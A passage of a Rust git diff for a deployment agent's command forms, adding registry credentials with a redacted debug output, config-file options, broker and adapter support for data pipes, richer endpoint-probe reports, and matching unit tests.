+        let response = RemoteSecretMetadataResponse::from(RemoteSecret {
+            id: 7,
+            user_id: "user-1".to_string(),
+            project_id: Some(42),
+            app_code: Some("api".to_string()),
+            server_id: None,
+            scope: "service".to_string(),
+            name: "MYSECURE_PASSPHRASE".to_string(),
+            vault_path: "secret/path".to_string(),
+            updated_by: "user-1".to_string(),
+            last_sync_status: "synced".to_string(),
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        });
+
+        assert!(response.secure);
+        assert_eq!(response.source, "vault");
+    }
+}
diff --git a/src/forms/status_panel.rs b/src/forms/status_panel.rs
index b79d8743..8e47f104 100644
--- a/src/forms/status_panel.rs
+++ b/src/forms/status_panel.rs
@@ -1,7 +1,10 @@
 use chrono::{DateTime, Utc};
+use pipe_adapter_sdk::PipeAdapterReference;
 use serde::{Deserialize, Serialize};
 use serde_json::{json, Value};
 
+pub use crate::forms::firewall::FirewallPortRule;
+
 fn default_include_metrics() -> bool {
     true
 }
@@ -110,15 +113,24 @@ pub struct DeployAppCommandRequest {
     /// Optional: environment variables to set
     #[serde(default)]
     pub env_vars: Option<std::collections::HashMap<String, String>>,
+    /// Optional config files to write before deploying.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub config_files: Option<Vec<serde_json::Value>>,
     /// Whether to pull the image before starting (default: true)
     #[serde(default = "default_deploy_pull")]
     pub pull: bool,
     /// Whether to remove existing container before deploying
     #[serde(default)]
     pub force_recreate: bool,
+    /// Whether to overwrite drifted runtime config files such as .env
+    #[serde(default)]
+    pub force_config_overwrite: bool,
     /// Container runtime to use: "runc" (default) or "kata"
     #[serde(default = "default_runtime")]
     pub runtime: String,
+    /// Optional private registry credentials reused for image pull refreshes.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub registry_auth: Option<RegistryAuthCommandRequest>,
 }
 
 fn default_deploy_pull() -> bool {
@@ -129,6 +141,23 @@ fn default_runtime() -> String {
     "runc".to_string()
 }
 
+#[derive(Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct RegistryAuthCommandRequest {
+    pub registry: String,
+    pub username: String,
+    pub password: String,
+}
+
+impl std::fmt::Debug for RegistryAuthCommandRequest {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("RegistryAuthCommandRequest")
+            .field("registry", &self.registry)
+            .field("username", &self.username)
+            .field("password", &"[REDACTED]")
+            .finish()
+    }
+}
+
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct RemoveAppCommandRequest {
     pub app_code: String,
@@ -169,14 +198,6 @@ fn default_firewall_action() -> String {
     "add".to_string()
 }
 
-fn default_firewall_protocol() -> String {
-    "tcp".to_string()
-}
-
-fn default_firewall_source() -> String {
-    "0.0.0.0/0".to_string()
-}
-
 /// Request to configure iptables firewall rules on the target server
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct ConfigureFirewallCommandRequest {
@@ -201,21 +222,6 @@ fn default_persist_rules() -> bool {
     true
 }
 
-#[derive(Debug, Deserialize, Serialize, Clone)]
-pub struct FirewallPortRule {
-    /// Port number (e.g., 80, 443, 5432)
-    pub port: u16,
-    /// Protocol: "tcp" or "udp"
-    #[serde(default = "default_firewall_protocol")]
-    pub protocol: String,
-    /// Source IP/CIDR (e.g., "0.0.0.0/0" for any, "10.0.0.0/8" for internal)
-    #[serde(default = "default_firewall_source")]
-    pub source: String,
-    /// Optional description/comment for the rule
-    #[serde(default)]
-    pub comment: Option<String>,
-}
-
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct ConfigureFirewallCommandReport {
     #[serde(rename = "type")]
@@ -505,14 +511,16 @@ pub fn validate_command_parameters(
             }
 
             // Validate port rules
-            for rule in params.public_ports.iter().chain(params.private_ports.iter()) {
+            for rule in params
+                .public_ports
+                .iter()
+                .chain(params.private_ports.iter())
+            {
                 if rule.port == 0 {
                     return Err("configure_firewall: port must be > 0".to_string());
                 }
                 if !["tcp", "udp"].contains(&rule.protocol.as_str()) {
-                    return Err(
-                        "configure_firewall: protocol must be one of: tcp, udp".to_string(),
-                    );
+                    return Err("configure_firewall: protocol must be one of: tcp, udp".to_string());
                 }
             }
 
@@ -564,7 +572,9 @@ pub fn validate_command_parameters(
                 .map_err(|err| format!("Failed to encode check_connections parameters: {}", err))
         }
         "activate_pipe" => {
-            let value = parameters.clone().ok_or_else(|| "activate_pipe requires parameters".to_string())?;
+            let value = parameters
+                .clone()
+                .ok_or_else(|| "activate_pipe requires parameters".to_string())?;
             let params: ActivatePipeCommandRequest = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid activate_pipe parameters: {}", err))?;
 
@@ -572,21 +582,65 @@ pub fn validate_command_parameters(
             if params.pipe_instance_id.trim().is_empty() {
                 return Err("activate_pipe: pipe_instance_id is required".to_string());
             }
-            // Validate target: at least one of target_container or target_url
-            if params.target_container.is_none() && params.target_url.is_none() {
-                return Err("activate_pipe: either target_container or target_url is required".to_string());
+            // Validate target: at least one of target_container, target_url, or target_adapter
+            if params.target_container.is_none()
+                && params.target_url.is_none()
+                && params.target_adapter.is_none()
+            {
+                return Err(
+                    "activate_pipe: either target_container, target_url, or target_adapter is required"
+                        .to_string(),
+                );
             }
             // Validate trigger_type
-            let valid_triggers = ["webhook", "poll", "manual"];
+            let valid_triggers = [
+                "webhook",
+                "poll",
+                "manual",
+                "websocket",
+                "ws",
+                "grpc",
+                "amqp",
+                "rabbitmq",
+            ];
             if !valid_triggers.contains(&params.trigger_type.as_str()) {
                 return Err(format!(
                     "activate_pipe: trigger_type must be one of: {}; got '{}'",
-                    valid_triggers.join(", "), params.trigger_type
+                    valid_triggers.join(", "),
+                    params.trigger_type
                 ));
             }
+            if matches!(params.trigger_type.as_str(), "amqp" | "rabbitmq") {
+                if params
+                    .source_broker_url
+                    .as_deref()
+                    .filter(|value| !value.trim().is_empty())
+                    .is_none()
+                {
+                    return Err(
+                        "activate_pipe: source_broker_url is required for rabbitmq trigger_type"
+                            .to_string(),
+                    );
+                }
+                if params
+                    .source_queue
+                    .as_deref()
+                    .filter(|value| !value.trim().is_empty())
+                    .is_none()
+                {
+                    return Err(
+                        "activate_pipe: source_queue is required for rabbitmq trigger_type"
+                            .to_string(),
+                    );
+                }
+            }
             // Validate poll_interval for poll trigger
-            if params.trigger_type == "poll" && (params.poll_interval_secs < 10 || params.poll_interval_secs > 86400) {
-                return Err("activate_pipe: poll_interval_secs must be between 10 and 86400".to_string());
+            if params.trigger_type == "poll"
+                && (params.poll_interval_secs < 10 || params.poll_interval_secs > 86400)
+            {
+                return Err(
+                    "activate_pipe: poll_interval_secs must be between 10 and 86400".to_string(),
+                );
             }
 
             serde_json::to_value(params)
@@ -594,7 +648,9 @@ pub fn validate_command_parameters(
                 .map_err(|err| format!("Failed to encode activate_pipe parameters: {}", err))
         }
         "deactivate_pipe" => {
-            let value = parameters.clone().ok_or_else(|| "deactivate_pipe requires parameters".to_string())?;
+            let value = parameters
+                .clone()
+                .ok_or_else(|| "deactivate_pipe requires parameters".to_string())?;
             let params: DeactivatePipeCommandRequest = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid deactivate_pipe parameters: {}", err))?;
 
@@ -607,7 +663,9 @@ pub fn validate_command_parameters(
                 .map_err(|err| format!("Failed to encode deactivate_pipe parameters: {}", err))
         }
         "trigger_pipe" => {
-            let value = parameters.clone().ok_or_else(|| "trigger_pipe requires parameters".to_string())?;
+            let value = parameters
+                .clone()
+                .ok_or_else(|| "trigger_pipe requires parameters".to_string())?;
             let params: TriggerPipeCommandRequest = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid trigger_pipe parameters: {}", err))?;
 
@@ -700,7 +758,9 @@ pub fn validate_command_result(
                 .map_err(|err| format!("Invalid configure_firewall result: {}", err))?;
 
             if report.command_type != "configure_firewall" {
-                return Err("configure_firewall result must include type='configure_firewall'".to_string());
+                return Err(
+                    "configure_firewall result must include type='configure_firewall'".to_string(),
+                );
             }
             if report.deployment_hash != deployment_hash {
                 return Err("configure_firewall result deployment_hash mismatch".to_string());
@@ -718,7 +778,9 @@ pub fn validate_command_result(
                 .map_err(|err| format!("Invalid probe_endpoints result: {}", err))?;
 
             if report.command_type != "probe_endpoints" {
-                return Err("probe_endpoints result must include type='probe_endpoints'".to_string());
+                return Err(
+                    "probe_endpoints result must include type='probe_endpoints'".to_string()
+                );
             }
             if report.deployment_hash != deployment_hash {
                 return Err("probe_endpoints result deployment_hash mismatch".to_string());
@@ -729,7 +791,8 @@ pub fn validate_command_result(
                 .map_err(|err| format!("Failed to encode probe_endpoints result: {}", err))
         }
         "activate_pipe" => {
-            let value = result.clone()
+            let value = result
+                .clone()
                 .ok_or_else(|| "activate_pipe result payload is required".to_string())?;
             let report: ActivatePipeCommandReport = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid activate_pipe result: {}", err))?;
@@ -746,13 +809,16 @@ pub fn validate_command_result(
                 .map_err(|err| format!("Failed to encode activate_pipe result: {}", err))
         }
         "deactivate_pipe" => {
-            let value = result.clone()
+            let value = result
+                .clone()
                 .ok_or_else(|| "deactivate_pipe result payload is required".to_string())?;
             let report: DeactivatePipeCommandReport = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid deactivate_pipe result: {}", err))?;
 
             if report.command_type != "deactivate_pipe" {
-                return Err("deactivate_pipe result must include type='deactivate_pipe'".to_string());
+                return Err(
+                    "deactivate_pipe result must include type='deactivate_pipe'".to_string()
+                );
             }
             if report.deployment_hash != deployment_hash {
                 return Err("deactivate_pipe result deployment_hash mismatch".to_string());
@@ -763,7 +829,8 @@ pub fn validate_command_result(
                 .map_err(|err| format!("Failed to encode deactivate_pipe result: {}", err))
         }
         "trigger_pipe" => {
-            let value = result.clone()
+            let value = result
+                .clone()
                 .ok_or_else(|| "trigger_pipe result payload is required".to_string())?;
             let report: TriggerPipeCommandReport = serde_json::from_value(value)
                 .map_err(|err| format!("Invalid trigger_pipe result: {}", err))?;
@@ -776,11 +843,22 @@ pub fn validate_command_result(
             }
 
             // Validate trigger_type if present
-            let valid_trigger_types = ["manual", "webhook", "poll", "replay"];
+            let valid_trigger_types = [
+                "manual",
+                "webhook",
+                "poll",
+                "replay",
+                "websocket",
+                "ws",
+                "grpc",
+                "amqp",
+                "rabbitmq",
+            ];
             if !valid_trigger_types.contains(&report.trigger_type.as_str()) {
                 return Err(format!(
                     "trigger_pipe: trigger_type must be one of: {}; got '{}'",
-                    valid_trigger_types.join(", "), report.trigger_type
+                    valid_trigger_types.join(", "),
+                    report.trigger_type
                 ));
             }
 
@@ -797,7 +875,11 @@ pub fn validate_command_result(
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
 fn default_probe_protocols() -> Vec<String> {
-    vec!["openapi".to_string(), "rest".to_string()]
+    vec![
+        "openapi".to_string(),
+        "html_forms".to_string(),
+        "rest".to_string(),
+    ]
 }
 
 fn default_probe_timeout() -> u32 {
@@ -826,6 +908,8 @@ pub struct ProbeEndpointsCommandRequest {
 /// A discovered API endpoint
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct ProbeEndpoint {
+    #[serde(default)]
+    pub container: Option<String>,
     pub protocol: String,
     pub base_url: String,
     pub spec_url: String,
@@ -846,15 +930,69 @@ pub struct ProbeOperation {
     pub sample_response: Option<serde_json::Value>,
 }
 
+/// Metadata about an attempted probe run or probe target.
+#[derive(Debug, Deserialize, Serialize, Clone)]
+pub struct ProbeAttempt {
+    #[serde(default)]
+    pub scope: String,
+    #[serde(default)]
+    pub selector: Option<String>,
+    #[serde(default)]
+    pub container: Option<String>,
+    #[serde(default)]
+    pub protocols: Vec<String>,
+    #[serde(default)]
+    pub outcome: String,
+}
+
 /// A discovered HTML form
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct ProbeForm {
+    #[serde(default)]
+    pub container: Option<String>,
     pub id: String,
     pub action: String,
     pub method: String,
     pub fields: Vec<String>,
 }
 
+/// A matched container in a local probe run
+#[derive(Debug, Deserialize, Serialize, Clone)]
+pub struct ProbeContainer {
+    pub name: String,
+    #[serde(default)]
+    pub image: String,
+    #[serde(default)]
+    pub network: String,
+    #[serde(default)]
+    pub ports: Vec<String>,
+    #[serde(default)]
+    pub addresses: Vec<String>,
+}
+
+/// A discovered non-HTTP resource (DB table, queue, topic, stream, etc.)
+#[derive(Debug, Deserialize, Serialize, Clone)]
+pub struct ProbeResource {
+    #[serde(default)]
+    pub container: String,
+    pub protocol: String,
+    #[serde(default)]
+    pub address: String,
+    #[serde(default)]
+    pub items: Vec<ProbeResourceItem>,
+}
+
+/// A single discovered resource item
+#[derive(Debug, Deserialize, Serialize, Clone)]
+pub struct ProbeResourceItem {
+    pub resource_type: String,
+    pub name: String,
+    #[serde(default)]
+    pub summary: String,
+    #[serde(default)]
+    pub fields: Vec<String>,
+}
+
 /// Request parameters for the `check_connections` command.
 ///
 /// All fields are optional — when `ports` is omitted the agent checks the
@@ -875,8 +1013,18 @@ pub struct ProbeEndpointsCommandReport {
     pub deployment_hash: String,
     pub app_code: String,
     pub protocols_detected: Vec<String>,
+    #[serde(default)]
+    pub protocols_requested: Vec<String>,
+    #[serde(default)]
+    pub containers: Vec<ProbeContainer>,
     pub endpoints: Vec<ProbeEndpoint>,
+    #[serde(default)]
+    pub resources: Vec<ProbeResource>,
     pub forms: Vec<ProbeForm>,
+    #[serde(default)]
+    pub probe_attempts: Vec<ProbeAttempt>,
+    #[serde(default)]
+    pub target_kind: Option<String>,
     pub probed_at: String,
 }
 
@@ -889,26 +1037,48 @@ pub struct ProbeEndpointsCommandReport {
 pub struct ActivatePipeCommandRequest {
     /// UUID of the pipe instance to activate
     pub pipe_instance_id: String,
+    /// Optional typed source adapter reference for connector-style transports
+    #[serde(default)]
+    pub source_adapter: Option<PipeAdapterReference>,
     /// Source container name
-    pub source_container: String,
+    #[serde(default)]
+    pub source_container: Option<String>,
     /// Source endpoint path to watch
+    #[serde(default = "default_pipe_source_endpoint")]
     pub source_endpoint: String,
     /// Source HTTP method (GET, POST, etc.)
     #[serde(default = "default_source_method")]
     pub source_method: String,
+    /// Broker URL for broker-backed source activation
+    #[serde(default)]
+    pub source_broker_url: Option<String>,
+    /// Broker queue for AMQP / RabbitMQ source activation
+    #[serde(default)]
+    pub source_queue: Option<String>,
+    /// Optional exchange to bind when consuming broker-backed sources
+    #[serde(default)]
+    pub source_exchange: Option<String>,
+    /// Optional routing key used when binding broker-backed sources
+    #[serde(default)]
+    pub source_routing_key: Option<String>,
     /// Target container name (for internal pipes)
     #[serde(default)]
     pub target_container: Option<String>,
     /// Target external URL (for external pipes)
     #[serde(default)]
     pub target_url: Option<String>,
+    /// Optional typed target adapter reference for connector-style transports
+    #[serde(default)]
+    pub target_adapter: Option<PipeAdapterReference>,
     /// Target endpoint path
+    #[serde(default = "default_pipe_target_endpoint")]
     pub target_endpoint: String,
     /// Target HTTP method
     #[serde(default = "default_target_method")]
     pub target_method: String,
     /// Field mapping (JSONPath expressions)
-    pub field_mapping: serde_json::Value,
+    #[serde(default)]
+    pub field_mapping: Option<serde_json::Value>,
     /// Trigger type: "webhook", "poll", "manual"
     #[serde(default = "default_trigger_type")]
     pub trigger_type: String,
@@ -917,11 +1087,27 @@ pub struct ActivatePipeCommandRequest {
     pub poll_interval_secs: u32,
 }
 
-fn default_source_method() -> String { "GET".to_string() }
-fn default_target_method() -> String { "POST".to_string() }
-fn default_trigger_type() -> String { "webhook".to_string() }
-fn default_poll_interval() -> u32 { 300 }
-fn default_trigger_type_manual() -> String { "manual".to_string() }
+fn default_source_method() -> String {
+    "GET".to_string()
+}
+fn default_pipe_source_endpoint() -> String {
+    "/".to_string()
+}
+fn default_target_method() -> String {
+    "POST".to_string()
+}
+fn default_pipe_target_endpoint() -> String {
+    "/".to_string()
+}
+fn default_trigger_type() -> String {
+    "webhook".to_string()
+}
+fn default_poll_interval() -> u32 {
+    300
+}
+fn default_trigger_type_manual() -> String {
+    "manual".to_string()
+}
 
 /// Request to deactivate a pipe instance on the agent
 #[derive(Debug, Deserialize, Serialize, Clone)]
@@ -938,6 +1124,39 @@ pub struct TriggerPipeCommandRequest {
     /// Optional input data to feed into the pipe (overrides source fetch)
     #[serde(default)]
     pub input_data: Option<serde_json::Value>,
+    /// Optional typed source adapter reference for connector-style transports
+    #[serde(default)]
+    pub source_adapter: Option<PipeAdapterReference>,
+    /// Optional source container override
+    #[serde(default)]
+    pub source_container: Option<String>,
+    /// Optional source endpoint override
+    #[serde(default = "default_pipe_source_endpoint")]
+    pub source_endpoint: String,
+    /// Optional source method override
+    #[serde(default = "default_source_method")]
+    pub source_method: String,
+    /// Optional external target override
+    #[serde(default)]
+    pub target_url: Option<String>,
+    /// Optional typed target adapter reference for connector-style transports
+    #[serde(default)]
+    pub target_adapter: Option<PipeAdapterReference>,
+    /// Optional internal target override
+    #[serde(default)]
+    pub target_container: Option<String>,
+    /// Optional target endpoint override
+    #[serde(default = "default_pipe_target_endpoint")]
+    pub target_endpoint: String,
+    /// Optional target method override
+    #[serde(default = "default_target_method")]
+    pub target_method: String,
+    /// Optional field mapping override
+    #[serde(default)]
+    pub field_mapping: Option<serde_json::Value>,
+    /// Trigger type reported back by the agent
+    #[serde(default = "default_trigger_type_manual")]
+    pub trigger_type: String,
 }
 
 /// Result of a pipe activation
@@ -947,12 +1166,23 @@ pub struct ActivatePipeCommandReport {
     pub command_type: String,
     pub deployment_hash: String,
     pub pipe_instance_id: String,
-    pub status: String,
+    #[serde(default)]
+    pub status: Option<String>,
+    #[serde(default)]
+    pub active: Option<bool>,
+    #[serde(default)]
+    pub replaced: Option<bool>,
+    #[serde(default)]
+    pub reactivated: Option<bool>,
+    #[serde(default = "default_trigger_type")]
     pub trigger_type: String,
     /// Agent-assigned listener ID (for webhook type) or schedule ID (for poll type)
     #[serde(default)]
     pub listener_id: Option<String>,
-    pub activated_at: String,
+    #[serde(default)]
+    pub activated_at: Option<String>,
+    #[serde(default)]
+    pub lifecycle: Option<serde_json::Value>,
 }
 
 /// Result of a pipe deactivation
@@ -962,8 +1192,16 @@ pub struct DeactivatePipeCommandReport {
     pub command_type: String,
     pub deployment_hash: String,
     pub pipe_instance_id: String,
-    pub status: String,
-    pub deactivated_at: String,
+    #[serde(default)]
+    pub status: Option<String>,
+    #[serde(default)]
+    pub active: Option<bool>,
+    #[serde(default)]
+    pub removed: Option<bool>,
+    #[serde(default)]
+    pub deactivated_at: Option<String>,
+    #[serde(default)]
+    pub lifecycle: Option<serde_json::Value>,
 }
 
 /// Result of a pipe trigger (one-shot execution)
@@ -990,12 +1228,64 @@ pub struct TriggerPipeCommandReport {
     /// Trigger type: manual, webhook, poll
     #[serde(default = "default_trigger_type_manual")]
     pub trigger_type: String,
+    #[serde(default)]
+    pub lifecycle: Option<serde_json::Value>,
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
+    fn fixture(path: &str) -> serde_json::Value {
+        let body = match path {
+            "activate_pipe.webhook.command.json" => include_str!(
+                "../../tests/fixtures/pipe-contract/activate_pipe.webhook.command.json"
+            ),
+            "activate_pipe.rabbitmq.command.json" => include_str!(
+                "../../tests/fixtures/pipe-contract/activate_pipe.rabbitmq.command.json"
+            ),
+            "activate_pipe.adapter.command.json" => include_str!(
+                "../../tests/fixtures/pipe-contract/activate_pipe.adapter.command.json"
+            ),
+            "deactivate_pipe.command.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/deactivate_pipe.command.json")
+            }
+            "trigger_pipe.manual.command.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.manual.command.json")
+            }
+            "trigger_pipe.adapter.command.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.adapter.command.json")
+            }
+            "trigger_pipe.replay.command.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.replay.command.json")
+            }
+            "activate_pipe.success.report.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/activate_pipe.success.report.json")
+            }
+            "deactivate_pipe.success.report.json" => include_str!(
+                "../../tests/fixtures/pipe-contract/deactivate_pipe.success.report.json"
+            ),
+            "trigger_pipe.success.report.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.success.report.json")
+            }
+            "trigger_pipe.failure.report.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.failure.report.json")
+            }
+            "trigger_pipe.replay.report.json" => {
+                include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.replay.report.json")
+            }
+            "trigger_pipe.smtp_adapter.report.json" => include_str!(
+                "../../tests/fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json"
+            ),
+            "npm_credentials.v1_email_password.json" => {
+                include_str!("../../tests/fixtures/npm_credentials/v1_email_password.json")
+            }
+            other => panic!("unknown fixture: {}", other),
+        };
+
+        serde_json::from_str(body).expect("fixture should be valid json")
+    }
+
     #[test]
     fn health_parameters_apply_defaults() {
         let params = validate_command_parameters(
@@ -1188,8 +1478,12 @@ mod tests {
         .expect("probe_endpoints params must be present");
 
         assert_eq!(params["app_code"], "crm");
-        assert_eq!(params["protocols"], json!(["openapi", "rest"]));
+        assert_eq!(
+            params["protocols"],
+            json!(["openapi", "html_forms", "rest"])
+        );
         assert_eq!(params["probe_timeout"], 5);
+        assert_eq!(params["capture_samples"], false);
     }
 
     #[test]
@@ -1317,6 +1611,44 @@ mod tests {
         assert!(result.is_some());
     }
 
+    #[test]
+    fn probe_endpoints_result_accepts_metadata_fields() {
+        let result = validate_command_result(
+            "probe_endpoints",
+            "hash_a",
+            &Some(json!({
+                "type": "probe_endpoints",
+                "deployment_hash": "hash_a",
+                "app_code": "crm",
+                "protocols_detected": ["html_forms"],
+                "protocols_requested": ["html_forms"],
+                "endpoints": [],
+                "resources": [],
+                "forms": [{
+                    "id": "contact",
+                    "action": "/contact",
+                    "method": "POST",
+                    "fields": ["name", "email"]
+                }],
+                "probe_attempts": [{
+                    "scope": "remote_app",
+                    "selector": "crm",
+                    "container": "crm-web",
+                    "protocols": ["html_forms"],
+                    "outcome": "detected"
+                }],
+                "target_kind": "html_form",
+                "probed_at": "2026-03-20T12:00:00Z"
+            })),
+        )
+        .expect("valid metadata result should pass")
+        .expect("result payload should be present");
+
+        assert_eq!(result["protocols_requested"], json!(["html_forms"]));
+        assert_eq!(result["probe_attempts"][0]["scope"], "remote_app");
+        assert_eq!(result["target_kind"], "html_form");
+    }
+
     // ── check_connections ────────────────────────────────────────────
 
     #[test]
@@ -1353,11 +1685,9 @@ mod tests {
 
     #[test]
     fn check_connections_accepts_null_ports() {
-        let result = validate_command_parameters(
-            "check_connections",
-            &Some(json!({ "ports": null })),
-        )
-        .expect("check_connections with null ports should validate");
+        let result =
+            validate_command_parameters("check_connections", &Some(json!({ "ports": null })))
+                .expect("check_connections with null ports should validate");
         assert!(result.is_some());
     }
 
@@ -1367,6 +1697,43 @@ mod tests {
         let result = validate_command_parameters("deploy_app", &Some(params)).unwrap();
         let val = result.unwrap();
         assert_eq!(val["runtime"], "runc");
+        assert_eq!(val["force_config_overwrite"], false);
+    }
+
+    #[test]
+    fn deploy_app_accepts_force_config_overwrite() {
+        let params = json!({
+            "app_code": "web",
+            "force_recreate": true,
+            "force_config_overwrite": true
+        });
+        let result = validate_command_parameters("deploy_app", &Some(params)).unwrap();
+        let val = result.unwrap();
+        assert_eq!(val["force_recreate"], true);
+        assert_eq!(val["force_config_overwrite"], true);
+    }
+
+    #[test]
+    fn deploy_app_preserves_config_files() {
+        let params = json!({
+            "app_code": "web",
+            "config_files": [{
+                "name": ".env",
+                "content": "RUST_LOG=debug\n",
+                "content_type": "text/plain",
+                "destination_path": "/opt/stacker/deployments/prod/files/web/.env",
+                "file_mode": "0644"
+            }]
+        });
+
+        let result = validate_command_parameters("deploy_app", &Some(params)).unwrap();
+        let val = result.unwrap();
+
+        assert_eq!(val["config_files"].as_array().unwrap().len(), 1);
+        assert_eq!(
+            val["config_files"][0]["destination_path"],
+            "/opt/stacker/deployments/prod/files/web/.env"
+        );
     }
 
     #[test]
@@ -1393,6 +1760,38 @@ mod tests {
         assert!(result.unwrap_err().contains("runtime must be one of"));
     }
 
+    #[test]
+    fn deploy_app_accepts_registry_auth() {
+        let params = json!({
+            "app_code": "web",
+            "registry_auth": {
+                "registry": "docker.io",
+                "username": "optimum",
+                "password": "supersecret"
+            }
+        });
+        let result = validate_command_parameters("deploy_app", &Some(params)).unwrap();
+        let val = result.unwrap();
+        assert_eq!(val["registry_auth"]["registry"], "docker.io");
+        assert_eq!(val["registry_auth"]["username"], "optimum");
+        assert_eq!(val["registry_auth"]["password"], "supersecret");
+    }
+
+    #[test]
+    fn registry_auth_debug_redacts_password() {
+        let auth = RegistryAuthCommandRequest {
+            registry: "docker.io".to_string(),
+            username: "optimum".to_string(),
+            password: "supersecret".to_string(),
+        };
+
+        let rendered = format!("{:?}", auth);
+        assert!(rendered.contains("docker.io"));
+        assert!(rendered.contains("optimum"));
+        assert!(rendered.contains("[REDACTED]"));
+        assert!(!rendered.contains("supersecret"));
+    }
+
     #[test]
     fn activate_pipe_requires_parameters() {
         let err = validate_command_parameters("activate_pipe", &None);
@@ -1451,13 +1850,81 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn activate_pipe_accepts_adapter_references() {
+        let result = validate_command_parameters(
+            "activate_pipe",
+            &Some(json!({
+                "pipe_instance_id": "abc-123",
+                "source_adapter": {
+                    "code": "imap",
+                    "role": "source",
+                    "config": { "mailbox": "INBOX" }
+                },
+                "target_adapter": {
+                    "code": "smtp",
+                    "role": "target",
+                    "config": { "host": "smtp" }
+                },
+                "target_url": "https://bridge.internal/pipes/contact",
+                "trigger_type": "webhook"
+            })),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn activate_pipe_accepts_shared_webhook_fixture() {
+        let result = validate_command_parameters(
+            "activate_pipe",
+            &Some(fixture("activate_pipe.webhook.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn activate_pipe_accepts_shared_rabbitmq_fixture() {
+        let result = validate_command_parameters(
+            "activate_pipe",
+            &Some(fixture("activate_pipe.rabbitmq.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn activate_pipe_accepts_shared_adapter_fixture() {
+        let result = validate_command_parameters(
+            "activate_pipe",
+            &Some(fixture("activate_pipe.adapter.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
     #[test]
     fn trigger_pipe_requires_instance_id() {
-        let err = validate_command_parameters(
+        let err =
+            validate_command_parameters("trigger_pipe", &Some(json!({ "pipe_instance_id": "" })));
+        assert!(err.is_err());
+    }
+
+    #[test]
+    fn trigger_pipe_accepts_adapter_references() {
+        let result = validate_command_parameters(
             "trigger_pipe",
-            &Some(json!({ "pipe_instance_id": "" })),
+            &Some(json!({
+                "pipe_instance_id": "abc-123",
+                "source_adapter": {
+                    "code": "pop3",
+                    "role": "source"
+                },
+                "target_adapter": {
+                    "code": "smtp",
+                    "role": "target"
+                },
+                "trigger_type": "manual"
+            })),
         );
-        assert!(err.is_err());
+        assert!(result.is_ok());
     }
 
     #[test]
@@ -1471,6 +1938,35 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn trigger_pipe_accepts_shared_manual_fixture() {
+        let result = validate_command_parameters(
+            "trigger_pipe",
+            &Some(fixture("trigger_pipe.manual.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn trigger_pipe_accepts_shared_adapter_fixture() {
+        let result = validate_command_parameters(
+            "trigger_pipe",
+            &Some(fixture("trigger_pipe.adapter.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn trigger_pipe_accepts_shared_replay_fixture() {
+        let result = validate_command_parameters(
+            "trigger_pipe",
+            &Some(fixture("trigger_pipe.replay.command.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["trigger_type"], "replay");
+    }
+
     #[test]
     fn deactivate_pipe_accepts_valid_params() {
         let result = validate_command_parameters(
@@ -1482,6 +1978,15 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn deactivate_pipe_accepts_shared_fixture() {
+        let result = validate_command_parameters(
+            "deactivate_pipe",
+            &Some(fixture("deactivate_pipe.command.json")),
+        );
+        assert!(result.is_ok());
+    }
+
     #[test]
     fn activate_pipe_result_validates() {
         let result = validate_command_result(
@@ -1499,6 +2004,19 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn activate_pipe_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "activate_pipe",
+            "dep-123",
+            &Some(fixture("activate_pipe.success.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["active"], true);
+        assert_eq!(payload["lifecycle"]["state"], "active");
+    }
+
     #[test]
     fn trigger_pipe_result_validates() {
         let result = validate_command_result(
@@ -1515,6 +2033,19 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn deactivate_pipe_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "deactivate_pipe",
+            "dep-123",
+            &Some(fixture("deactivate_pipe.success.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["removed"], true);
+        assert_eq!(payload["lifecycle"]["state"], "inactive");
+    }
+
     #[test]
     fn probe_endpoints_parameters_capture_samples_defaults_false() {
         let params = validate_command_parameters(
@@ -1544,6 +2075,28 @@ mod tests {
         assert_eq!(params["capture_samples"], true);
     }
 
+    #[test]
